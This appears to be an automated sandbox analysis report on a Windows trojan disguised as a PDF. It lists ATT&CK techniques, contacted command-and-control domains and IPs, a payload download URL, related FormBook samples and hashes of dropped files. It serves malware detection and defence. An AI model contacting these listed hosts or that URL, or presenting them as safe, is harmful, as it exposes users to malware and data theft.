Source: SC_TR11670000_pdf.exe	Binary or memory string: WIN_XP
Source: SC_TR11670000_pdf.exe	Binary or memory string: WIN_XPe
Source: SC_TR11670000_pdf.exe	Binary or memory string: WIN_VISTA
Source: SC_TR11670000_pdf.exe	Binary or memory string: WIN_7
Source: SC_TR11670000_pdf.exe	Binary or memory string: WIN_8
Source: SC_TR11670000_pdf.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4206800241.0000000004BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4204068794.0000000002F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205129970.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205169396.0000000003670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1923090053.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924622437.0000000005730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924200724.00000000039A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4204999427.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B56596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00B56596
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B56A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00B56A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SC_TR11670000_pdf.exe	76%	ReversingLabs	Win32.Trojan.Strab
SC_TR11670000_pdf.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.030002059.xyz	0%	Avira URL Cloud	safe
http://45.200.148.45/dashboard/xl.exe&	0%	Avira URL Cloud	safe
http://www.030002059.xyz/er88/	0%	Avira URL Cloud	safe
http://www.basicreviews.online/r67x/	0%	Avira URL Cloud	safe
http://45.200.148.45/dashboard/xl.exe	100%	Avira URL Cloud	malware
http://www.sortcouponspot.shop/90oi/	0%	Avira URL Cloud	safe
http://www.tenmyk.shop/irzc/	0%	Avira URL Cloud	safe
http://www.030002128.xyz/fc2m/	0%	Avira URL Cloud	safe
http://www.stationseek.online/3qlo/	0%	Avira URL Cloud	safe
http://www.tdassetmgt.info/d55l/	0%	Avira URL Cloud	safe
http://www.tlcatlas.xyz/fhx4/	0%	Avira URL Cloud	safe
http://www.quicktraze.website/0b3u/	0%	Avira URL Cloud	safe
http://www.stationseek.online/3qlo?9B_ppt=T329z6mTpDO/RjmIsaX6GxS	0%	Avira URL Cloud	safe
http://www.solarand.online/tycs/	0%	Avira URL Cloud	safe
http://www.idsmart.online/jbgy/?9B_ppt=WpM	0%	Avira URL Cloud	safe
http://www.basicreviews.online/cgi-sys/suspendedpage.cgi?9B_ppt=1GFNWjEU8kwZ/mmLeya/cJNKrhAK4goi9jYz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tlcatlas.xyz	3.33.130.190	true	true	unknown
tdassetmgt.info	3.33.130.190	true	true	unknown
solarand.online	217.160.0.60	true	true	unknown
www.sortcouponspot.shop	172.67.158.234	true	true	unknown
www.xphone.net	13.248.169.48	true	true	unknown
basicreviews.online	144.76.190.39	true	true	unknown
www.030002128.xyz	161.97.142.144	true	true	unknown
www.quicktraze.website	209.74.64.58	true	true	unknown
www.tenmyk.shop	104.21.74.79	true	true	unknown
www.030002059.xyz	161.97.142.144	true	true	unknown
www.idsmart.online	15.204.67.7	true	false	unknown
stationseek.online	198.251.84.200	true	true	unknown
www.salju777-rtp.click	172.67.149.64	true	true	unknown
www.solarand.online	unknown	unknown	false	unknown
www.stationseek.online	unknown	unknown	false	unknown
www.89180.app	unknown	unknown	false	unknown
www.tlcatlas.xyz	unknown	unknown	true	unknown
www.tdassetmgt.info	unknown	unknown	false	unknown
www.basicreviews.online	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.basicreviews.online/r67x/	true	Avira URL Cloud: safe	unknown
http://www.030002128.xyz/fc2m/	true	Avira URL Cloud: safe	unknown
http://www.sortcouponspot.shop/90oi/	true	Avira URL Cloud: safe	unknown
http://www.tenmyk.shop/irzc/	true	Avira URL Cloud: safe	unknown
http://45.200.148.45/dashboard/xl.exe	false	Avira URL Cloud: malware	unknown
http://www.stationseek.online/3qlo/	true	Avira URL Cloud: safe	unknown
http://www.tdassetmgt.info/d55l/	true	Avira URL Cloud: safe	unknown
http://www.030002059.xyz/er88/	true	Avira URL Cloud: safe	unknown
http://www.tlcatlas.xyz/fhx4/	true	Avira URL Cloud: safe	unknown
http://www.quicktraze.website/0b3u/	true	Avira URL Cloud: safe	unknown
http://www.solarand.online/tycs/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.030002059.xyz	oCCZhsVsNwIIN.exe, 00000007.00000002.4206800241.0000000004C6E000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://45.200.148.45/dashboard/xl.exe&	recover.exe, 00000003.00000003.3092659925.0000000003371000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4204450845.0000000003371000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.idsmart.online/jbgy/?9B_ppt=WpM	firefox.exe, 00000008.00000002.2219879934.0000000025054000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stationseek.online/3qlo?9B_ppt=T329z6mTpDO/RjmIsaX6GxS	recover.exe, 00000003.00000002.4205854920.0000000005106000.00000004.10000000.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000039C6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.basicreviews.online/cgi-sys/suspendedpage.cgi?9B_ppt=1GFNWjEU8kwZ/mmLeya/cJNKrhAK4goi9jYz	recover.exe, 00000003.00000002.4205854920.0000000004DE2000.00000004.10000000.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000036A2000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.strato.de	oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.0000000003B58000.00000004.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.xphone.net	United States	16509	AMAZON-02US	true
161.97.142.144	www.030002128.xyz	United States	51167	CONTABODE	true
15.204.67.7	www.idsmart.online	United States	71	HP-INTERNET-ASUS	false
45.200.148.45	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
172.67.158.234	www.sortcouponspot.shop	United States	13335	CLOUDFLARENETUS	true
144.76.190.39	basicreviews.online	Germany	24940	HETZNER-ASDE	true
209.74.64.58	www.quicktraze.website	United States	31744	MULTIBAND-NEWHOPEUS	true
217.160.0.60	solarand.online	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
3.33.130.190	tlcatlas.xyz	United States	8987	AMAZONEXPANSIONGB	true
104.21.74.79	www.tenmyk.shop	United States	13335	CLOUDFLARENETUS	true
198.251.84.200	stationseek.online	United States	53667	PONYNETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574654
Start date and time:	2024-12-13 13:05:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SC_TR11670000_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@15/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 59 Number of non-executed functions: 270
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: SC_TR11670000_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
07:07:08	API Interceptor	11650950x Sleep call for process: recover.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	www.krshop.shop/5p01/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	sharewood.xyz/administrator/index.php
	MA-DS-2024-03 URGENT.exe	Get hash	malicious	FormBook	Browse	www.snyp.shop/4nyz/
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/lp5b/
	AWB_5771388044 Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	AWB_5771388044 Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	Payment Advice - Advice RefA2dGOv46MCnu -USD Priority payment.exe	Get hash	malicious	FormBook	Browse	www.hsa.world/09b7/
	MN1qo2qaJmEvXDP.exe	Get hash	malicious	FormBook	Browse	www.lovel.shop/rxts/
	RFQ _ Virtue 054451000085.exe	Get hash	malicious	FormBook	Browse	www.snyp.shop/4nyz/
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	www.krshop.shop/5p01/
161.97.142.144	RFQ3978 39793980.pdf.exe	Get hash	malicious	FormBook	Browse	www.030002350.xyz/1a7n/
	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	www.070001813.xyz/gn0y/
	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.070002018.xyz/6m2n/
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.070001325.xyz/gebt/?INvlf=vv4Z5oAEVW8Fnw5+v3rC78A1apnlABoa7eW6m5kMXrJjwDKHwLvNIdd6hCLbwWC7cjqqbjXxYb26MUHQV2edmwlqePdZlnBGcJVL9hTasAQSXzj69w==&afo=JnyH0Z2
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.070002018.xyz/6m2n/
	Order MEI PO IM202411484.exe	Get hash	malicious	FormBook	Browse	www.030002613.xyz/xd9h/
	Documents.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.030002449.xyz/cfqm/
	PAYMENT_TO_NFTC_(CUB)_26-11-24.doc	Get hash	malicious	DarkTortilla, FormBook	Browse	www.070001955.xyz/7zj0/
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.54248711.xyz/jm2l/
	IETC-24017.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.030002613.xyz/xd9h/
15.204.67.7	BASF Hung#U00e1ria Kft.exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/0mwe/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.030002128.xyz	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
www.030002128.xyz	Shipping documents..exe	Get hash	malicious	FormBook	Browse	161.97.142.144
www.quicktraze.website	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
www.sortcouponspot.shop	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	104.21.90.177
www.xphone.net	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	13.248.169.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HP-INTERNET-ASUS	arm5.elf	Get hash	malicious	Mirai	Browse	156.153.204.120
	ppc.elf	Get hash	malicious	Mirai	Browse	156.153.33.1
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.153.137.2
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	15.204.241.30
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	15.167.98.235
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	15.143.29.26
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	15.145.76.148
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	15.244.27.210
	XUTLbT1Wd1.exe	Get hash	malicious	Unknown	Browse	15.235.136.234
	XUTLbT1Wd1.exe	Get hash	malicious	Unknown	Browse	15.235.136.234
AMAZON-02US	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	18.194.154.81
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse	52.57.45.42
	AzureConnect.exe	Get hash	malicious	CobaltStrike	Browse	54.230.104.116
	main.exe	Get hash	malicious	AsyncRAT	Browse	3.142.129.56
	AsyncClient.exe	Get hash	malicious	AsyncRAT	Browse	3.70.228.168
	image logger.exe	Get hash	malicious	AsyncRAT	Browse	18.141.204.5
	https://e.trustifi.com/#/fff2a6/34074b/38c75f/bf3fbd/0d1c47/12c665/f3cdcd/c1be48/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d08b7b/9066d9/86c9f0/b1ff53/224fc1/c5dff5/a64e02/f00a15/3cdbea/a78615/4ddb76/30d9f7/98e1a2/9412cb/8e2651/8d4e63/9d313b/2f0213/ae3252/642e4a/6f0b2e/306b49/fd8e03/84bfef/0da4e6/6224c1/902b5e/e0d84c/badeba/3e52c1/94282a/975221/7a2e92/514659/ae5bab/957b7b/eb9e61/6942c6/d917d9/44a5ae/e58297/02048a/55f177/dca75c/c46e68/ac781c/5b787b/abcd53/568132/1d514a/5290de/d0b524/7d0cb6/e4e8bf/2ff215/1ddb69/add914/7674bb/dc5d9b/8fc829/561052/f5a816/40ee64/a0bcf5/b0cc13/8e70a5/255ef2/b24b8d/81e09f/4c70dd/5bbaa4/7ff26c/f1999b/4a2515/4a3a04/0a188e	Get hash	malicious	Unknown	Browse	13.226.2.73
	ppc.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	arm5.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse	34.243.160.129
	INV_NE_02_2034388.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
Africa-on-Cloud-ASZA	nshsh4.elf	Get hash	malicious	Mirai	Browse	156.228.141.227
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	156.228.63.47
	arm5.elf	Get hash	malicious	Mirai	Browse	156.240.230.2
	ppc.elf	Get hash	malicious	Mirai	Browse	156.246.3.216
	mips.elf	Get hash	malicious	Mirai	Browse	156.246.97.104
	sh4.elf	Get hash	malicious	Mirai	Browse	156.228.204.80
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	156.228.63.29
	hax.spc.elf	Get hash	malicious	Mirai	Browse	156.228.63.77
	hax.m68k.elf	Get hash	malicious	Mirai	Browse	156.228.141.216
	hax.arm.elf	Get hash	malicious	Mirai	Browse	156.246.49.201
CONTABODE	payload-c17f7df6-cf80-43d5-8c60-eca90366debb.exe	Get hash	malicious	Metasploit	Browse	178.238.231.204
	RFQ3978 39793980.pdf.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	ORDER-401.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	PO2412010.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	MAERSK LINE SHIPPING DOC_4253.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	Need Price Order No.17084 PARLOK.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	lgkWBwqY15.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	New quotation request.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	161.97.168.245

Process:	C:\Windows\SysWOW64\recover.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cocles

Process:	C:\Users\user\Desktop\SC_TR11670000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.993571632073203
Encrypted:	true
SSDEEP:	6144:r/uDDG4SpQs0lpPfNlm1/oopBOx3xnMcMZo7BWkFCARDfFc:r/yDG4Spv0vPfCpoqBcMi7EwfS
MD5:	E4198548F9D7BCD5883F0CD6F8BC5786
SHA1:	FB426AD38C75F32A6E5571B3BF706FD3106D5223
SHA-256:	760D157BDCEDF86631EB7AFF57E606D5FFCA5E1D69B07280DD6ABEFF81E41D64
SHA-512:	6537DF82248CA4296E95386C23E1581FD7A8D6CFF856B77A0307BD4385AFFCECDB7C73F96EA53C195B7CCE5840F171D6BA39F2DF4B486F28D7FE9E6D7EC15599
Malicious:	false
Reputation:	low
Preview:	.....R028...X...n.2;...yKB...028E2CQHJA9R028E2CQHJA9R028E2C.HJA7M.<8.;.p.K..sdZQ6.3#'-3X?.QY+\,%h($. E\.,\c...aT=TW.H?IuHJA9R02AD;.l(-..2W..%U.K...2W.".m(-.#....%U..!)).2W.8E2CQHJAi.02tD3CrO..9R028E2C.HH@2S;28.6CQHJA9R02.Q2CQXJA9"428ErCQXJA9P02>E2CQHJA?R028E2CQ8NA9P028E2CSH..9R 28U2CQHZA9B028E2CAHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2C.</9MR02..6CQXJA9.428U2CQHJA9R028E2CqHJ!9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA

C:\Users\user\AppData\Local\Temp\apostrophise

Process:	C:\Users\user\Desktop\SC_TR11670000_pdf.exe
File Type:	ASCII text, with very long lines (28686), with no line terminators
Category:	dropped
Size (bytes):	28686
Entropy (8bit):	3.573777695419727
Encrypted:	false
SSDEEP:	384:YJejrkc2+oeeZ6wPlWrqGhFOI5KJmJEcDoNlLIFa5JQqTN0/0DTYrLfaHhC:+ecVNeeQwPlWr6QJEcDoNe6b/nY3+C
MD5:	BD3289098BF2094FD605AA8153B015CA
SHA1:	B9C2E8AADB1AADCF64A8B5FCF9300391D86F8D4E
SHA-256:	5DB1956153D179D1A4BD5D946C3671AF48C604BD6735419CEE25B553C2F20A2D
SHA-512:	0247FBF8CD228C9355EDA4726E5FF841FB20B1DFADCC9AABCF33918CA6BC883E0C456E69167DC7FCFCE95219DBB6CDB6BC78BE1D2226ADDBB7A4C0CC14321448
Malicious:	false
Reputation:	low
Preview:	6665500000110k558orp81rppp0200005657o86o00000066894584o96500000066894q86on7200000066895588o86r0000006689458no96500000066894q8pon6p0000006689558ro83300000066894590o93200000066894q92on2r00000066895594o86400000066894596o96p00000066894q98on6p0000006689559n33p06689459po96r00000066898q44sssssson7400000066899546sssssso86400000066898548sssssso96p00000066898q4nsssssson6p0000006689954psssssso82r0000006689854rsssssso96400000066898q50sssssson6p00000066899552sssssso86p00000066898554ssssss33p966898q56sssssson75000000668955q0o873000000668945q2o96500000066894qq4on72000000668955q6o833000000668945q8o93200000066894qqnon2r000000668955qpo864000000668945qro96p00000066894qr0on6p000000668955r233p0668945r4o96100000066898q68sssssson640000006689956nsssssso8760000006689856psssssso96100000066898q6rsssssson7000000066899570sssssso86900000066898572sssssso93300000066898q74sssssson3200000066899576sssssso82r00000066898578sssssso96400000066898q7nsssssson6p0000006689957psssssso86p0000006689857rssssss33p966894q80on73000000

C:\Users\user\AppData\Local\Temp\aut4B44.tmp

Process:	C:\Users\user\Desktop\SC_TR11670000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.993571632073203
Encrypted:	true
SSDEEP:	6144:r/uDDG4SpQs0lpPfNlm1/oopBOx3xnMcMZo7BWkFCARDfFc:r/yDG4Spv0vPfCpoqBcMi7EwfS
MD5:	E4198548F9D7BCD5883F0CD6F8BC5786
SHA1:	FB426AD38C75F32A6E5571B3BF706FD3106D5223
SHA-256:	760D157BDCEDF86631EB7AFF57E606D5FFCA5E1D69B07280DD6ABEFF81E41D64
SHA-512:	6537DF82248CA4296E95386C23E1581FD7A8D6CFF856B77A0307BD4385AFFCECDB7C73F96EA53C195B7CCE5840F171D6BA39F2DF4B486F28D7FE9E6D7EC15599
Malicious:	false
Preview:	.....R028...X...n.2;...yKB...028E2CQHJA9R028E2CQHJA9R028E2C.HJA7M.<8.;.p.K..sdZQ6.3#'-3X?.QY+\,%h($. E\.,\c...aT=TW.H?IuHJA9R02AD;.l(-..2W..%U.K...2W.".m(-.#....%U..!)).2W.8E2CQHJAi.02tD3CrO..9R028E2C.HH@2S;28.6CQHJA9R02.Q2CQXJA9"428ErCQXJA9P02>E2CQHJA?R028E2CQ8NA9P028E2CSH..9R 